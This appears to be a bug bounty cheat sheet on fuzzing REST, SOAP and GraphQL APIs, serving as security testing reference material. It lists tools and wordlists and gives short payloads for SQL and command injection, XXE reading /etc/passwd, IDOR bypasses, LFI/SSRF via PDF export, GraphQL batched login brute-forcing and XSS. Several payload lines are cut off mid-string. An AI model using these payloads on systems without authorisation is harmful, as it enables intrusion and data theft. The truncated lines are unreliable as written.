

# APIs Fuzzing for Bug Bounty

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## Tools

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# Tools
https://github.com/Fuzzapi/fuzzapi
https://github.com/Fuzzapi/API-fuzzer
https://github.com/flipkart-incubator/Astra
https://github.com/BBVA/apicheck/
https://github.com/ngalongc/openapi_security_scanner
https://github.com/assetnote/kiterunner
https://github.com/s0md3v/dump/tree/master/json2paths
https://github.com/API-Security/APIKit

# API keys guesser
https://api-guesser.netlify.app/

# Wordlists
https://github.com/chrislockard/api_wordlist
https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/common-api-endpoi
https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content/api
https://github.com/fuzzdb-project/fuzzdb/blob/master/discovery/common-methods/common-methods.t

# Swagger to burp
https://rhinosecuritylabs.github.io/Swagger-EZ/

# List swagger routes
https://github.com/amalmurali47/swagroutes

# Checklist
https://gitlab.com/pentest-tools/API-Security-Checklist/-/blob/master/README.md

# Best mindmap
https://dsopas.github.io/MindAPI/play/

# GUID guesser
https://gist.github.com/DanaEpp/8c6803e542f094da5c4079622f9b4d18
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## General

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# SOAP uses: mostly HTTP and XML, have header and body
# REST uses: HTTP, JSON , URL and XML, defined structure
# GraphQL uses: Custom query language, single endpoint

# Always check for race conditions and memory leaks (%00)
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# SQLi tip
{"id":"56456"} - OK
{"id":"56456 AND 1=1#"} -> OK
{"id":"56456 AND 1=2#"} -> OK
{"id":"56456 AND 1=3#"} -> ERROR
{"id":"56456 AND sleep(15)#"} -> SLEEP 15 SEC
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# Shell injection
- RoR
Check params like ?url=Kernel#open
and change like ?url=|ls
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# Tip
If the request returns nothing:
- Add this header to simulate a Frontend
"X-requested-with: XMLHttpRequest"
- Add params like:
GET /api/messages > 401
GET /api/messages?user_id=1 > 200
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# Checklist:
• Auth type
• Max retries in auth
• Encryption in sensible fields
• Test from most vulnerable to less
  ◇ Organization's user management
  ◇ Export to CSV/HTML/PDF
  ◇ Custom views of dashboards
  ◇ Sub user creation&management
  ◇ Object sharing (photos, posts,etc)
• Archive.org
• Censys
• VirusTotal
• Abusing object level authentication
• Abusing weak password/dictionary brute forcing
• Testing for mass management, instead /api/videos/1 -> /api/my_videos
• Testing for excessive data exposure
• Testing for command injection
• Testing for misconfigured permissions
• Testing for SQL injection
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#### Access

- Limit in repeated requests
- Check always HTTPS
- Check HSTS
- Check distinct login paths /api/mobile/login | /api/v3/login | /api/magic\_link
- Even id is not numeric, try it /?user\_id=111 instead /?user\_id=user@mail.com
- Bruteforce login
- Try mobile API versions
- Don't assume developer, mobile and web API is the same, test them separately

#### Input

- Check distinct methods GET/POST/PUT/DELETE.
- Validate content-type on request Accept header (e.g. application/xml, application/json, etc.)
- Validate content-type of posted data (e.g. application/x-www-form-urlencoded, multipart/form)
- Validate user input (e.g. XSS, SQL-Injection, Remote Code Execution, etc.).
- Check sensitive data **in** the URL.
- Try input injections **in** ALL params
- Locate admin endpoints
- Try execute operating system command
  - ◊ Linux :api.url.com/endpoint?name=file.txt;ls%20/
- XXE
  - ◊ <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
- SSRF
- Check distinct versions api/v{1..3}
- If REST API try to use as SOAP changing the content-type to "application/xml" and sent any s
- IDOR **in** body/header is more vulnerable than ID **in** URL
- IDOR:
  - ◊ Understand real private resources that only belongs specific user
  - ◊ Understand relationships receipts-trips
  - ◊ Understand roles and groups
  - ◊ If REST API, change GET to other method Add a "Content-length" HTTP header or Change the
  - ◊ If get 403/401 **in** api/v1/trips/666 try 50 random IDs from 0001 to 9999
- Bypass IDOR limits:
  - ◊ Wrap ID with an array {"id":111} --> {"id":[111]}
  - ◊ JSON wrap {"id":111} --> {"id":{"id":111}}
  - ◊ Send ID twice URL?id=<LEGIT>&id=<VICTIM>
  - ◊ Send wildcard {"user\_id":"\*"}
  - ◊ Param pollution
    - /api/get\_profile?user\_id=<victim's\_id>&user\_id=<user\_id>
    - /api/get\_profile?user\_id=<legit\_id>&user\_id=<victim's\_id>
    - JSON POST: api/get\_profile {"user\_id":<legit\_id>,"user\_id":<victim's\_id>}
    - JSON POST: api/get\_profile {"user\_id":<victim's\_id>,"user\_id":<legit\_id>}
    - Try wildcard instead ID
- If .NET app and found path, Developers sometimes use "Path.Combine(path\_1,path\_2)" to create
  - ◊ https://example.org/download?filename=a.png -> https://example.org/download?filename=C:\
  - ◊ Test: https://example.org/download?filename=\\smb.dns.praetorianlabs.com\a.png
- Found a limit / page param? (e.g. /api/news?limit=100) It might be vulnerable to Layer 7 DoS

## Processing

- Check **if** all the endpoints are protected behind authentication.
- Check /user/654321/orders instead /me/orders.
- Check auto increment ID's.
- If parsing XML, check XXE.
- Check if DEBUG is enabled.
- If found GET /api/v1/users/<id> try DELETE / POST to create/delete users
- Test less known endpoint POST /api/profile/upload\_christmas\_voice\_greeting

## Output

- If you find sensitive resource like /receipt try /download\_receipt,/export\_receipt.
- DoS Limit: /api/news?limit=100 -> /api/news?limit=9999999999
- Export pdf - try XSS or HTML injection
  - ◊ LFI: username=<iframe src="file:///C:/windows/system32/drivers/etc/hosts" height=1000 wic
  - ◊ SSRF: <object data="http://127.0.0.1:8443"/>
  - ◊ Open Port:  if delay is < 2.3 secs is open

- ◇ Get real IP: 
- ◇ DoS: 
  - <iframe src="http://example.com/RedirectionLoop.aspx"/>

# Endpoint bypasses

# whatever.com/api/v1/users/sensitivedata -> access denied

# Add to the final endpoint

.json

?

../

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/

??

&details

#

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# General info about APIs

<https://openapi.tools/>

# Common vulns

- API Exposure
- Misconfigured Caching
- Exposed tokens
- JWT Weaknesses
- Authorization Issues / IDOR / BOLA
- Undocumented Endpoints
- Different Versions
- Rate Limiting (BF allowed)
- Race Conditions
- XXE injection
- Switching Content Type
- HTTP Methods
- Injection Vulnerabilities

## REST

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# Predictable endpoints

GET /video/1

DELETE /video/1

GET /video/1/delete

GET /video/2

# Create POST

# Read GET

# Update POST PUT

# Delete PUT DELETE

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# Fuzz users & methods to enumerate like /$user$/1 with https://github.com/fuzzdb-project/fuzz

# Check if supports SOAP. Change the content-type to "application/xml", add a simple XML in th
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## GraphQL

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### Tools

```
# https://github.com/gsmith257-cyber/GraphCrawler
# https://github.com/dolevf/graphw00f
# https://github.com/nikitastupin/clairvoyance
# https://github.com/assetnote/batchql
# https://github.com/dolevf/graphql-cop

# https://github.com/doyensec/inql
# https://github.com/swisskyrepo/GraphQLmap
# https://apis.guru/graphql-voyager/
# https://gitlab.com/dee-see/graphql-path-enum

# https://graphql.security/
# https://astexplorer.net/

# Burp extensions
https://github.com/doyensec/inql
https://github.com/forcesunseen/graphquail
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### Resources

```
https://blog.yeswehack.com/yeswerhackers/how-exploit-graphql-endpoint-bug-bounty/
https://blog.securelayer7.net/api-penetration-testing-with-owasp-2017-test-cases/
https://blog.forcesunseen.com/graphql-security-testing-without-a-schema
https://escape.tech/blog/graphql-security-wordlist/
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### Common bugs

```
# IDOR
Try access any user id other than yours

# SQL/NoSQL Injections
"filters":{
    "username":"test' or 1=1--"
}

# Rate Limit
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Because of the nature of GraphQL, we can send multiple queries in a single request by batching

```
mutation {login(input:{email:"a@example.com" password:"password"}){success jwt}}
mutation {login(input:{email:"b@example.com" password:"password"}){success jwt}}
mutation {login(input:{email:"x@example.com" password:"password"}){success jwt}}
```

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# Info disclosure
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A query can be constructed from scratch from verbose error messages even when we don't have the

# DOS

Similar to XXE billion laughs attack

[illegible]

## Tips

### # Easy to enumeration

```
# Create {createPost(...)}
# Read {post(id:"1"){id,..}}
# Update {updatePost(...)}
# Delete {deletePost(...)}
```

To test a server for GraphQL introspection misconfiguration:

- 1) Intercept the HTTP request being sent to the server
- 2) Replace its post content / query with a **generic** introspection query to fetch the entire bac
- 3) Visualize the schema to gather juicy API calls.
- 4) Craft any potential GraphQL **call** you might find interesting and HACK away!

example.com/graphql?query={\_\_schema%20{%atypes%20{%aname%akind%adescription%afields%20{%aname%

XSS **in** GraphQL:

http://localhost:4000/example-1?id=%C/script%E%Cscript%Ealert('I%20%3C3%20GraphQL.%20Hack%20th

http://localhost:4000/example-3?id=%C/script%E%Cscript%Ealert('I%20%3C3%20GraphQL.%20Hack%20th

# Introspection query

\_\_schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecat

# Encoded

fragment+FullType+on+\_\_Type+{++kind++name++description++fields(includeDeprecated%a+true)+{++++